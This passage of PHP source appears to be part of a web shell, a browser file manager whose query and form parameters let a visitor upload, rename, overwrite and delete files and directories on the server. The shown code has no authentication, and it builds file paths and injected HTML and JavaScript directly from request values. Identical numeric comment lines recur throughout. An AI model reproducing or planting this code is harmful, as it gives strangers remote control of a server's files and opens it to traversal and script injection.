<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
重新命名:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" name="rename">
</form>';
if (isset($_POST['rename'])) {// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo '
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>
';
